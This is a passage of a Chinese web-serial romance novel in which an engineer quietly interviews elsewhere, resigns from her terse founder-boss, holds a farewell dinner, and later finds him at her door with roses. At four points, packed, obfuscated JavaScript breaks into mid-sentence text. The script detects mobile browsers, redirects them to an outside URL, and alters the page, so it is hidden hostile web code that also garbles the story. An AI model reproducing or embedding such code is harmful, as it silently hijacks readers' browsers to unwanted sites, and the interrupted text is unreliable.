第一轮HR电话面,她特意选在了工作日的午后。借口去楼道透透气,她攥着手机,钻进消防通道下层一个几乎没有信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307278|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号的角落。 电话接通时,背景里还有隐约的打扫卫生的声音。 她压低嗓音,用简洁专业的术语回答询问,耳朵却时刻竖着,警惕着可能响起的任何脚步声。 第二轮技术面,是视频会议。她提前清空了午休时间的日程,反锁了独立会议室的门,拉下百叶窗。屏幕那端的面试官语气严谨,问题刁钻,而她在这头,一边流畅地阐述架构思路,一边用眼角余光瞥着会议室门上那方小小的玻璃,生怕有熟悉的身影一晃而过。 最险的一次,是在茶水间。 她刚挂断上一轮技术面的澄清电话,一转身,差点撞进一个人怀里。 程迦。 他手里拿着空水杯,似乎是正要进来。目光在她还未来得及完全收起紧张神色的脸上一掠而过。 “又讲电话?”他随口问,语气平常。 “……嗯,家里有点事。”她迅速将手机屏幕朝下扣在手心,扯出一个再自然不过的真诚笑容。 所幸他点了点头,没再多问,侧身接了水便离开了。 许知微站在原地,背脊渗出一层薄汗,直到他的脚步声消失在走廊尽头,才缓缓吐出一口一直憋着的气。 胆战心惊的两周过去,像一场漫长而无声的潜行。 当那封正式的录用通知(OfferLetter)带着加密链接躺在邮箱里时,她点开PDF的手指,竟有些微微颤抖。 目光径直扫向薪酬明细。 Base(基本工资),Bonus(奖金),Equity(股权)各项数字罗列清晰。 她心中默算,新职位的总包年薪,减去她目前的年薪,税后折算下来的净增加额。 ——果然不出所料。 ——一分不多,一分不少。 ——恰好与之前程迦那笔接近两百万的幻想值,对上了。 她那段光怪陆离的系统奇遇,还真是以最出乎意料的方式,结算成了她职业生涯中下一个扎实的台阶。 唯一美中不足的,是邮件末尾那句加粗的提醒:【期望入职日期:下月初。】 距离下月初,只有不到三周了。这意味着,她没有太多犹豫和缓冲的时间了。 ——离职,要尽快了。 所以周三下午,项目例会刚刚结束。同事们收拾东西陆续离开,会议室渐渐空了下来。 许知微没有动。 她坐在原位,面前摊着笔记本电脑,目光却落在虚空处。掌心有些潮,心跳在安静的空气里显得格外清晰。 她需要现在就去,趁着一鼓作气的决心还未消退。 终于,她合上电脑,站起身,走向那间位于走廊尽头的办公室。 脚步落在柔软的地毯上,几乎没有声音。可越靠近那扇厚重的木门,心跳得就越发不规律。这种混合着紧张、决绝和一丝难以言喻的怅然的情绪,竟有些熟悉。 恍惚间,仿佛回到了六年前,她第一次站在这扇门前,忐忑不安地等待一场决定命运的面试。 那时,门后是未知的机遇。 而现在,门后是她需要亲自去提交的长达六年的成绩。 她在门口停下,微微吸了一口气,抬手,用指节轻轻叩响了门板。 “请进。”里面传来程迦一贯平稳的声音。 她推开门,走了进去。 43. 辞职 许知微推门进去之前,已经在脑海里将这场谈话预演了无数遍。 虽然没有经验,但她也知道这一步并不轻松。 毕竟六年了,她多多少少也算个骨干,程迦作为创始人,为了公司利益,也不会很轻松地放人。 所以她刷了一夜网上的离职教程,太多离职谈话,表面风平浪静,底下却布满试探与感情牌的挽留。 她为此准备了全套标准答案: 若问为何跳槽——“想体验不同的公司文化。” 若被追问不满——“公司很好,只是个人渴望新的挑战。” 若触及薪酬——“差距不大,更看重长期发展空间。” 若以项目或时机施压——她知道劳动法站在自己这边。 她甚至做好了最坏的打算,或许会被质疑忠诚,被贴上不懂事的标签,经历一场典型的周扒皮式嘴硬型挽留。 所以当走到那扇厚重的木门前,她重新调整了呼吸,换上微笑,然后抬手,叩响。 “请进。”依旧是那道熟悉的听不出情绪的声音。 她推门而入。 程迦坐在办公桌后,屏幕的光映亮他轮廓分明的侧脸。 听见动静,他抬起头,目光在她身上短暂停留,等待她开口。 “程总,”她开口,语气训练有素般的平稳,“我来谈离职的事。下周是我最后一周。” 可空气并未如她预想般凝固。 程迦甚至没有追问,他只是极轻地“哦”了一声,仿佛接收的是一条早已写入日程的常规通知。 然后,他低下头继续忙碌,语调平直得随意:“去哪儿?” “云家,”她按预设的路径回答,语气谦逊,“主要是想体验不同的公司文化。” “那边给你的总包,有两百二十万么?”对方开口。 闻言,许知微的大脑,空白了一拍。 ——云家提前泄露了她的薪资? 她下意识地张了张嘴,困惑几乎脱口而出:他怎么会知道? 可职业本能还是成功强行接管了表情管理,她压下所有翻涌的念头,维持着得体的微笑:“薪酬不是我跳槽的主要考量。我更看重新的挑战和成长空间。” 正当她已准备好承接下一轮问题,却被一个手势干脆地打断。 程迦抬了抬手,截断了她尚未铺陈完的逻辑。 “如果他们没给到这个数,”他语气平静,仿佛在陈述一件再普通不过的事务,“你可以再去要。” 她怔住。 “如果需要,我可以给你开薪资证明。”他继续道,目光落在她脸上,带着一种审视的专注,“包括长期激励,未上市股权也可以折算进去。” 这完全超出了她所有的预案。 ——他在挽留? ——可怎么还帮着抬价? ——还是某种她无法理解的支持? 许知微正试图理清这突兀的走向,程迦已再次抬头看向她,将问题抛回,语气里多了一丝不容置疑的干脆:“如果没要到,就先别跳。” 那一刻,回应抢在理智之前,脱口而出:“……要到了。” 话音落地的瞬间,她自己都愣了一下。 ——疯了? ——自己怎么这么诚实? ——这不就漏老底了么? 程迦明显也怔了一瞬。 可那停顿极短,但她清晰地捕捉到了。 因为他手指微微凝滞。 然后,他笑了,一个很短的笑意,在他嘴角极快地掠过。 “好。”他说。只一个字,却像某个悬而未决的条件终于落槌。 随即,他再次低下头,目光重回屏幕,语气已恢复成纯粹的工作状态:“离职前,把手头工作交接好。” “流程走完就行。” 许知微预想中充满博弈与拉扯的谈话,竟结束得如此迅速而干净。 她站在原地,甚至忘了该说“谢谢”。 只是点了点头,机械地应了声“好”,转身准备离开。 当手指触到冰凉的门把手时,她才后知后觉地意识到,程迦对她的离开,没有质问,没有挽留,没有情绪化的可惜。与她脑海中反复演练的周扒皮剧本,截然不同。 办公室的灯光依旧明亮冷静,她开门的动作却停了下来。 心里莫名多出一个荒谬的念头:这就结束了? 六年的工作关系,她以为至少会经历一场拉锯,他却只是看了一眼终点,然后,干脆利落地放行。 这反常的干脆,反而让她心底生出更多的不安。 手指搭在门把上,迟迟没有按下,仿佛意识被什么无形之物绊住了脚步。 身后,规律的键盘声响起,仿佛刚才那场关乎她职业生涯转折的谈话,从未发生。 许知微站在那里,突然鲜有的感性。 这是六年来,她第一次在这间办公室里,以非工作事项的身份,站了这么久。 久到显得,有些多余。 “怎么还站着?”程迦的声音从身后传来,语气淡淡的,带着一点他惯有的刻薄,“最后一周就不好好干活了?” 可这刻薄话反而让她松了一口气。 ——对了。 ——这才是他。 ——这才是心安的节奏。 她手指发力,拧开门把手,脚步迈出一步,却又停住。 ——自己似乎……还欠他一个东西。 于是她转回来,站直身体,在那张宽大的办公桌前,郑重其事地向他鞠了一躬。 “程总,”她声音裹着真诚,“感谢你这六年的培养。” 键盘声,停了。但他没有抬头。 屏幕的冷光勾勒着他冷硬的侧脸线条,跟冰冷的镜片。 “我不会培养人。”他说。语气笃定,毫不领情。 若在以前,许知微或许会感到被否定跟被轻慢。 可此刻,她没有生气。 甚至,有点想笑。 通过这段时间的了解,她似乎有些懂程迦异于常人的脑回路了。 他这话不是在否认她。 他只是,真的,在字面意义上否定了培养这个词。 他没有教自己如何取悦,如何站队,如何左右逢源。 他也从不手把手托着谁前进。 他只是把最难的项目交给她,在她犯错时冷脸指出又抗下,在她顶不住压力时沉默加码支持。 这些,虽然本意不是培养,却都迫使她成长,也让她成功拿下云家的offer 比如云家那场最刁钻的技术面里,面试官抛出的那道关于高并发场景下数据一致性妥协的难题。 她几乎是条件反射般地想起了去年双十一大促前夜,程迦把她叫进办公室,对着她那份看似完美的保障方案,只冷冷问了一句:“如果缓存雪崩和数据库锁同时发生,你的完美兜底能撑几秒?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312904|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 当时她觉得他吹毛求疵,此刻却意识到,正是那场刻薄的质问,逼她拆解了所有理所应当的假设,才有了面试时那个让面试官频频点头的、深植于真实故障演练的答案。 又比如终面时那位CTO问起“如何从0到1搭建一支能打硬仗的技术团队”。 她脑海中浮现的,不是任何管理书籍的理论,而是三年前那个混乱的年底,程迦把濒临解散的重构项目丢给她时说的话:“别管谁不服你。把你认为对的事,做出无可争议的结果。剩下的人,会自己跟上。” 残酷,但有效。 她把这句话背后的逻辑,提炼成了自己的方法论。 还有那些关于技术选型、风险权衡、甚至商务谈判中技术底线的问题。 她惊讶地发现,答案的碎片,早已散落在过去六年无数个被他驳回的方案、被他质疑的决策、甚至是他那句“这不行,重想”的冷淡命令里。 他不会温言鼓励,不会步步指导。 他只是用最高标准苛求她,在她即将触碰天花板时,用最直接的方式,捅破那层你自己都未察觉的屏障。 词不达意。 但逻辑一贯。 这,就是程迦的底色。 一个在风暴中心始终冷静,为下面的人开辟道路的领航者。 她也会抱怨他的严苛,憎恶他的不近人情,却在离开风暴区回头眺望时,才猛然惊觉,正是那些她曾咬牙切齿的刁难,铸成了此刻足以立足的甲板。 在脱离了下属这个局中人的身份后,她才真正察觉到的,程迦的难能可贵。 想到这,她直起身,笑了。 这一次,她没有用“程总”的称呼。 “不,”她看着他,声音爽朗而笃定,“程迦。” 他敲击键盘的手指,顿在了半空。 “你很擅长培养人的。”她迎着他的视线,目光清亮坦然。 他终于抬起头。那一刻,他眼底有种明显来不及掩饰的怔然,仿佛从未设想过,会有人在此刻、以此种方式,对他说出这句话。 她没有给他反驳的时间,只是继续道,语气不疾不徐,却极稳:“我就是最好的例子。” 空气,在那一瞬彻底静默下来。 程迦看着她。 很久。 久到她以为他会像往常一样,用一句冷静到近乎残酷的理性,将这段剖白驳回。 但他没有。 他只是看着她,仿佛第一次,将许知微这个名字,从项目负责人、稳定输出这些标签中,完整地剥离出来,重新放回一个具体的人的位置上。 他张了张口,最终,只低低地“嗯”了一声。 见状,许知微也不需要更多回应。 她满意地点了点头,像是终于完成了一件本该完成、却迟到了六年的事。 “那我不打扰你工作了。” 这一次,她是真的转身离开。 门在身后轻轻合拢。 走廊灯火通明,人声如常。 她往前走了几步,脚步异常轻快。 并非因为解脱,而是因为她清楚地知道:她带着一个被看见被承认,哪怕未曾宣之于口的答案,自己走出去的。 而办公室内。 程迦静坐在原位,屏幕上停滞的代码光标,已许久未曾闪烁。 那句“我就是最好的例子。” 在他空寂的脑海里,反复回响,余音不绝。 44. 需要 对于许知微要跳槽这事,程迦很早就察觉了。 在那个午休时分,消防楼梯拐角处,她刻意压低却依旧清晰传来的声音。 “……薪资结构?” “……股权部分的具体占比?” “……技术负责人的决策边界?” 接下来的日子,她的日程表开始出现微妙的空白。 午休时间不再用来补眠,而是消失无踪。 会议室的预约记录里,多出几段时长恰好够一场面试的私人时间。 偶尔在茶水间撞见她接电话,语气也与平日不同,对方明显不是她熟悉的同事。 终于,他在公司楼下偶然碰到她在打电话,隐约听到:“云家的团队氛围很好的,但我更希望个人职业成长,也有更清晰的规划。” ——她面的是云家? ——云家这几年的触角一直有意无意地探向丰天。 ——在AIFintech这个领域,云家有意布局。 ——上个月自己与对方几位高管打过交道,商量过注资的事儿。 ——如果云家真想踏入这个领域,许知微这个背景、能力、经验,都是最好的选择。 ——她一定会拿到那个Offer。 ——必须是高额薪资。 可他胸腔深处却莫名泛起一阵持续的钝痛,他分明应该为她感到高兴。 ——原来自己竟然是这么小心眼的么? ——见不得她更好? ——六年了。 ——她从未主动向外投递过简历,对递到面前的橄榄枝也大多客气回绝。 ——她的稳定,曾是自己构建团队信任基石的一部分。 ——很重要的一部分。 ——之后,自己该怎么办? ——整个丰天,自己又能信得过谁? ——更何况,她不是刚开始跟自己暧昧么? ——所以,那不过是走之前的黄粱一梦么? 想到这里,程迦嘴角勾起一个苦笑。 ——要不要动动手脚? ——云家那几个高管的联系方式还有。 ——不行,不可以这么卑鄙。 ——那利诱呢? ——她要什么? ——钱? ——公司现金流吃紧,现金部分已经开到最大了。 ——再给她加股权? ——可是大环境不好,上市一直不顺利,股权也是纸钱而已。 ——还能给啥? ——她到底想要啥? 程迦烦躁地揉了揉自己的头发,似乎找回了一些理智。 ——她想要离开。 ——毕竟当她向云家投简历时,就意味着留下这个选项,绝无可能。 强留一个去意已决的人,像用镣铐锁住一只已经望向远方的鸟。即便留住,也只会折断她的翅膀,消磨掉她身上最让他欣赏的那份锐气与笃定。 他怎么会舍得? 舍不得看她想做又做不到。 舍不得她为了同事多年的情意而妥协。 更舍不得伤害丝毫那个他一直当作太阳的许知微。 所以,他选择了让自己难受的方式:沉默,放手。 没有拆穿她偷偷面试的痕迹,没有在茶水间偶遇时故作不经意地探问,没有在她提离职时用任何理由试图拖延或挽留。 他只是在她提离职那天,确认了那个数字,确认云家也确实看到了她的价值,给予了她匹配的收入。 可当他得到她真的要到了时,心头又翻涌起极其复杂、甚至带着酸楚的安心。 ——好样的。 ——不愧是她。 ——她从来都不需要自己操心。 ——她,从来都不需要自己。 ——一直以来,需要她的,都是自己。 ——现在,她要走了。 ——他也要学会一个人了。 程迦好不容易给自己打好了勇气,下定决心,要适应她的离开,却没想到这勇气就跟气球一样脆弱,被许知微临走前的一句话,炸得粉碎。 “你很擅长培养人的。” “我就是最好的例子。” 她离开后,办公室的门重新合上,隔绝了外界所有声音。 程迦坐在原位,面前屏幕上的代码仿佛变成了无法识别的乱码。 他一个字也看不进去。 ——他对她,有用? 自卑如程迦,从未期待过,也从未设想过,会有人将自身的成长归因于他。 更不曾想过,说出这句话的,会是他的精神寄托——许知微。一个他从未妄想以培养者自居去对待过的人。 ——她说,自己培养了她? ——还是,擅长的培养? 一种陌生滚烫的悸动,猝不及防地撞进他常年保持理性运转的心脏。 随之而来的,是一个更贪婪的念头。 如果她身上那些被岁月与挑战打磨出的锋利、稳定、从容,那些让他欣赏甚至依赖的特质,其中有一部分,真的烙下了属于他的印记。 那是否意味着,他们之间那六年看似冰冷纯粹的上下级关系底下,早已悄然生长出了更深层的联结? 这个认知,让他一整天都无法专注工作。 晚上,公寓空旷安静,失去了白日里那些需要决策斡旋的嘈杂。 唯有许知微的话语,和她最后那个坦荡清亮的眼神,在他空寂的脑海里反复回响,挥之不去。 夜深后,睡意稀薄。 意识像一艘偏离航道的船,不受控制地滑向白日里最后定格的画面,项目汇报结束后的会议室。 人群散去后的空旷里,只剩她整理材料的侧影。 阳光斜穿过百叶窗,在她周身切割出明暗交错的线条。 她微微倾身,手指无意识地缠绕着桌上那根冗长的电话线,银灰色的线圈在她指尖绕紧又松脱,循环往复。 她说话微微扬起的下颌,她在阐述关键数据时,偶尔落在他身上那失神的凝视。 所有细节,在此刻死寂的黑暗中,被无限放大,再次重构。 理智关着闸门,可情感却像那根被她缠绕的电话线,一圈又一圈地收紧,直到此刻才猛地拉扯心脏,带来一阵阵窒闷而空旷的回响。 ——以后,再也不可能天天看到她了。 他的世界,好像被那根电话线骤然抽空,留下无处着力的失重感。 混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318069|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱的思绪最终将他拖入浅眠。 梦境毫无逻辑地拼贴,却有一个场景异常清晰。 依旧是那间会议室。 长桌两侧空无一人,灯光明亮得有些虚幻。只有她站在他惯常坐的主位旁边,背对着落地窗,身影被光勾勒得有些模糊。 她转过身,像那天在办公室里一样看向他,叫他的名字:“程迦。” 声音却比记忆中更加柔软。 某种压抑已久笨拙而滚烫的渴望驱使着他,让他试图去靠近,去触碰那根在现实中曾被她缠绕,此刻却空悬在会议桌上方的电话线。 他伸出手,动作带着生涩的迟疑和小心翼翼,指尖在即将触碰到冰冷线身时微微颤抖。 像个初次探索陌生领域的学徒,他渴望握住它,渴望通过它传递或接收某种信号,渴望证明自己并非全然被动,却又被内心深处害怕扯断这脆弱联结的恐惧死死束缚。 然后,梦里的她似乎察觉了他的无措与渴望 没有嘲笑,没有退缩。 她向前一步,越过了那张象征距离的长桌。 温热的手指,轻轻覆上了他悬在半空又不知所措的手。 她引着他的手,坚定而缓慢地,握住了那根垂落的电话线。 她的指尖带着他,将散乱的银灰色线圈一圈又一圈,缠绕上自己的手腕。动作不疾不徐,线圈逐渐收紧,在他皮肤上留下浅淡的勒痕,又松脱些许,周而复始。 她的目光始终看着他,温柔而包容,深处却燃着一簇他从未见过的幽暗火焰。 “那个停更很久的专属定制……”她的声音压低,带着气音,像最隐秘的耳语,却具有穿透力。 “今晚,续订。” 随着这句话,她引着他的手,顺着那根已经因为缠绕而变得紧绷的线,缓缓上移,最终将线端轻轻抵在了她自己微微敞开的衬衫领口之下,心跳最清晰的位置。 咔哒。 一声极轻的,仿佛来自梦境之外的幻听,像某种开关被按下的声音。 一瞬间,被引导的触感,视觉的冲击。听觉的蛊惑,连同那根线所象征的联结与控制的双重意味,交织成一股汹涌澎湃的欲望洪流。 他既是那个被允许握住线头的人,又仿佛是被这根线无形牵引而深陷其中的猎物。 那种被全然接纳,同时又被隐秘渴望彻底吞噬的极致快感与失控感,如此真实而猛烈,几乎将他意识最后的防线冲垮。 梦里的他,总是那么快乐。 梦醒时,窗外天际已泛起冰冷的鱼肚白。 程迦躺在未散的梦境余温与骤然的空虚里,望着苍白的天花板,许久无法动弹。 心脏在胸腔里沉重而紊乱地搏动,带着梦境的灼热悸动与醒来后更无处安放的空洞。 一个消极的念头,伴随他的自卑,如影随形地闯入脑海。 他或许曾是她成长路上的一块基石。 但如今,她已经稳稳地走过了他,看向更远的风景。 而他,却好像早已在经年累月的注视中,将她存在的痕迹,连同梦里那根缠绕的线,深深嵌入了自己世界的每一个角落,每一寸神经。 想要剥离? 可那根线,早已缠进了血脉里。 45. 邀约 许知微宣布离职的那天,意料之外的热闹笼罩了她的四周。 消息刚散出去不到半天,她的日程表就被各种邀约塞满了。 午饭、晚饭、咖啡局、告别酒,从本周排到了下周,每一个邀请都带着“最后一定要聚聚”的热切,让人难以推拒。 索性,她快刀斩乱麻。 最后一天,统一请。 她选了公司附近一家环境清雅价位体面的餐厅,包了个安静的隔间。 不打算搞得太煽情,也不想太敷衍,作为一场正式又不熟的工作关系收尾,刚刚好。 来的人比她预想的还要多。 并肩熬过夜一起扛过压力的加班队友自然不用说,连几个平时只在走廊点头,开会时照过面的半熟脸也来了。 甚至连公司另一位创始人于昊都出现了,带着惯常的温和笑容,说是程迦去谈一笔重要的融资赶不过来,他代表一下。 许知微心里微微一顿,随即了然。 ——是了,程迦本就不是会参与这种场合的人。 ——他那天的反应,已经算是破例。 于昊的到来,才更像她最初预想中离职谈话该有的样子。 他年纪不大,却早已浸淫在创始人的角色里,举手投足间自带一种经过打磨的掌控感。 他一坐下,话题便极其自然地落在了她身上。 “知微啊,”他端起茶杯,语气不疾不徐,像在教育小辈,“你这一走,说实话,公司这边是真觉得可惜。” 许知微握着酒杯,脸上挂着得体的微笑,没有立刻接话,只是微微颔首,示意自己在听。 她知道,这只是开场白。 “你在这里六年,我们算是看着你一步步从小兵打上来的。”于昊的目光带着赞赏,也带着审视,“能力、韧性、解决问题的效率,大家有目共睹。说实在的,以你现在的职级和贡献,再往上走的空间,不是没有。公司也一直在考虑新增合伙人的长期激励……” ——这是恩,是肯定,也是画下的第一张饼 ——话语里留足了想象空间,仿佛只要自己留下,便能立刻成为公司合伙人。 可许知微心里一片清明。 还不忘适时地露出一点受宠若惊又保持谦逊的表情,轻声应道:“于总过奖了,主要还是公司给了机会。” 于昊笑了笑,话锋却不着痕迹地一转,语气放缓,带着几分推心置腹般的提醒:“不过啊,知微,外面的世界未必有想象中那么美好。大公司体系复杂,一个萝卜一个坑,看似平台大了,但真正能让你施展拳脚、独立决策的领域,恐怕反而不如现在自由。你这个时候出去,很可能只是换了个更大的池塘,却要从边缘重新游起,再证明自己一遍。” ——这是威。隐晦地指出风险,暗示自己现在的选择可能不够明智,是在舍弃确定的优势去搏一个不确定的未来。 ——既表达了惋惜,也暗含了一丝“你可能会后悔”的告诫。 ——若是职场新人,可能真的会被骗。 可许知微只是安静地听着,内心毫无波澜。这番话的每个字、每个停顿,甚至那种语重心长的语气,都在她无数次的心理预演中出现过。 还好,她早就准备好了应对的标准答案。 她放下酒杯,坐直了些,态度显得更加诚恳:“于总,您说的这些,我都认真考虑过。丰天这六年,给我的成长和信任,我始终非常感激。只是在这个职业阶段,我确实很想跳出熟悉的圈子,去亲身体验一下不同的业务模式和发展节奏,看看自己还有哪些可能性。” ——给自己留条后路没什么不好。 于昊看着她,目光在她脸上停留了几秒,似乎在评估她这番话的真实。 最终,他脸上的笑容加深了些,透出一种虽然遗憾但尊重选择的豁达,举杯向她示意:“好,人有冲劲是好事。那就祝你前程似锦,大展宏图!记住,丰天的大门,永远为你敞开。” “谢谢于总。”许知微举杯与他轻轻一碰,笑容无懈可击。 可当她坐回位置,看着于昊转身与其他同事寒暄时,脑海里却忍不住再次浮现那天程迦办公室里的画面。 没有铺垫,没有权衡,没有这些精心设计的话术。 他只是确认了她要到了足够的薪水。 ——程迦或许不是个好上司。 ——但也绝说不上是个坏上司。 酒过几巡,话题从工作转向生活八卦和陈年趣事。 许知微也放松下来,与同事们笑闹着,接受着或真诚或客套的祝福。 直到临近散场,包间里只剩下寥寥数人时,一点小小的意外插曲发生了。 一个平日存在感不高,工作踏实但有些内向的年轻男同事,被几个好事的同伴推搡着留到了最后。 他脸颊通红,不知是酒意还是紧张,眼神却亮得惊人。 “知……知微姐,”他声音有点发紧,在突然安静下来的小空间里格外清晰。 门口传来压低的笑声和加油的嘘声。 许知微愣了一下,迅速在记忆中搜索,却只拼凑出关于这个男生的模糊印象,偶尔会来请教问题。 “我……其实,一直挺喜欢你的。”男生像是鼓足了毕生的勇气,语速很快,“不是因为你要走了我才说,我就是觉得……现在不说,以后可能就没机会了,会后悔。” 许知微先是一愣,随后释怀地笑笑。 有些情感的滋生和存在,不需要太多轰轰烈烈的交集。只要一个人持续地出现在另一个人的视野里,足够夺目,足够优秀,就自然而然会成为对方心里一个可以寄托好感的符号。 她语气温和地开口:“谢谢你愿意告诉我。”这句话像是一个缓冲,让对方紧绷的肩膀稍稍松弛了一些。 然后,她才继续,态度明确,却不带任何伤害的意味:“这么勇敢直接地表达心意,真的挺好,是年轻才有的特权。”她顿了顿,“不过,我已经过了那个阶段啦。” 男生怔了怔,眼神黯了黯,但很快,他也努力扯出一个笑容,点了点头:“我明白了。”虽然勉强,但保持了基本的体面。 这个小插曲,被她四两拨千斤地化解了,没有引起更多波澜。 饭局彻底结束时,夜色已深。 喧嚣散去,她一个人回到公寓,关上门,世界骤然被按下静音键。 她踢掉平板鞋,没开灯,摸着黑走到客厅窗边,靠着玻璃,看着窗外。 窗外,丰天所在的办公楼灯火如常闪烁,一张她沉浸其中六年,即将成为过去的背景板。 下周,她就要去新公司报到了。 这意味着,眼下这个周末,是可以完全属于自己的时间。 没有会议,没有待办事项,没有需要交接的工作,也没有需要回应的惋惜或刺探。 ——要睡觉,睡到地老天荒。 这个念头带着久违的任性冒出来,让她自己都忍不住弯了弯嘴角。 随即,另一个问题浮现脑海。 ——要不要搬家? 新公司离这里不远,但通勤也需要两站地铁。如果搬到新公司附近,同样的租金预算,她也可以住到步行五分钟的距离。 更重要的是—— 她的目光缓缓扫过这间熟悉的客厅。 ——当初选择租在这里,是为了从程迦那里获得幻想。 ——现在系统没了。 ——幻想值也以高薪结算给了自己。 ——继续住在这里,没什么必要了。 她把自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322169|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷进柔软的沙发里,长长地呼出一口气。 * 许知微这一觉,确实睡得昏天暗地,直到周六临近中午才被生物钟自然唤醒。 窗帘没拉严实,一道明晃晃的阳光从缝隙里切进来,正好投在她眼皮上。 她在被子里蠕动了一下,意识率先工作了起来。 没有闹钟,没有紧急邮件提示音,没有需要立刻响应的消息。 ——爽! 一种奢侈的空白感包裹了她。 她在床上赖了一会儿,盯着天花板,忽然无声地笑了起来。 ——今天,做点什么好呢? ——补剧? ——补综艺? ——喜人好像都出三了。 慢吞吞地起床,洗漱,套上宽松舒适的旧T恤和运动短裤,头发随手一抓,用一根电话圈扎成摇摇欲坠的低马尾。 镜子里的人不修边幅,却有种难得的松弛。 厨房里还堆着昨晚懒得收拾的外卖盒。 她一边打着哈欠,一边慢悠悠地清理,把垃圾归拢到一个大袋子里,系紧袋口,准备提到门外。 就在她拎着垃圾袋,用脚勾开开锁的房门时,视线首先捕捉到的,是一双擦得锃亮的男士系带皮鞋。 目光上移,是熨烫得没有一丝褶皱的笔挺西裤,剪裁合体的深色西装外套,挺括的白衬衫领口,甚至系着一条色调沉稳的领带。 以及,被有些僵硬地握在手里的一束包装精致的玫瑰花。 ——程迦? 此时程迦就站在她门外的走廊。 走廊顶灯的光线落在他身上,勾勒出他一丝不苟的轮廓,从头到脚都透着一种精心打理过的正式。 与她此刻头发松散、拎着垃圾袋的随意邋遢,形成了滑稽的对比。 许知微足足愣了两秒。 大脑才从宕机状态重启,职业本能驱使她迅速管理表情,压下瞬间涌上的尴尬。 她扬起眉梢,试图用最自然的语气化解这诡异的场面。 “哟,程总?”她的目光在他一身行头和那束花上打了个转,语气里带上了惯常的调侃,“今天这架势……是去见过什么重要投资人?还拿着花?是瞧上哪个投资人了?还是被哪个投资人瞧上了?” 没了上下级的约束,她一边打趣着,一边自然地弯腰,准备把垃圾袋放在门边,然后顺势退回屋里,结束这意外的照面。 然而,话还没完全说完,她敏锐地察觉到,程迦的身体似乎因为她这句玩笑而轻微地僵了一下。 ——玩笑开过了? ——也对。他大概不喜欢这种调侃。 但她不准备哄,反正都离职了,所以她手上动作没停,放好垃圾袋便准备直起身关门。 嗒。一声轻响。 程迦的动作比她还快。 他上前半步,手臂一伸,手掌直接按在了门板上。 许知微动作一顿,抬起头,不解地看向他。 两人之间的距离因为这一步骤然缩短,近到她能看清他额前一丝不苟的发梢,能闻到他身上清冽的须后水气味,甚至能捕捉到他喉结似乎微微滚动了一下。 走廊里安静极了。 就在她略带困惑的注视下,程迦将那束红玫瑰,往前递了递。 ——是递给她的? 许知微彻底怔住了。 她的目光缓缓从鲜艳欲滴的花瓣,移到他没什么表情的脸上,试图从那惯常的冷静中解读出什么。 程迦看着她眼中清晰的错愕,薄唇微动,声音比平时略低,却依旧维持着那股奇特的平稳,一字一句道: “四川路的那家早茶店。” 他停顿了半秒,像是等待反馈。 “今天有空么?” 46. 没有理智 许知微不知道自己是怎么答应下来的。 只记得,当程迦把玫瑰递到眼前,问出“今天有空么”的那一刻,她脑子里分明亮起红灯。 ——这也太暧昧了?! 可她看着那束红得近乎灼眼的玫瑰,又看向他那张依旧平静却莫名绷紧的脸,意识像是骤然短路,空白了一瞬。 然后,她听见自己的声音,赶在理智重新连接之前,跳了出来: “……好。” ——自己在干嘛? ——跟周扒皮搞暧昧? 这个念头让她感觉难以理解又带着一丝害羞,逼迫她快速退回屋里。 直到门在身后关拢,独自站在玄关的寂静中整理那份莫名的悸动时,她才后知后觉地意识到,自己竟然答应跟他约会? ——不对不对。 ——那可是周扒皮。 ——这肯定不会是约会。 ——对对对,他就是嘴馋了。 ——也是,明明是我主动答应的。 ——怎么给忙忘了。 ——可他竟然主动过来要? ——还带着玫瑰花? ——怎么看,都不像程迦那个社恐分子会做的事啊。 她低头,看向被自己无意识接过来的玫瑰。 ——难道,被苏清妍,放鸽子了? ——不对不对,这上面的卡片确实写的是自己的名字。 许知微的理智开始发力劝解自己。 ——已经离职了。 ——你们的工作关系已经终结。 ——系统也没了。 ——勾引他也不会有钱赚。 ——别再掺和到上等人的游戏里。 ——不值得。 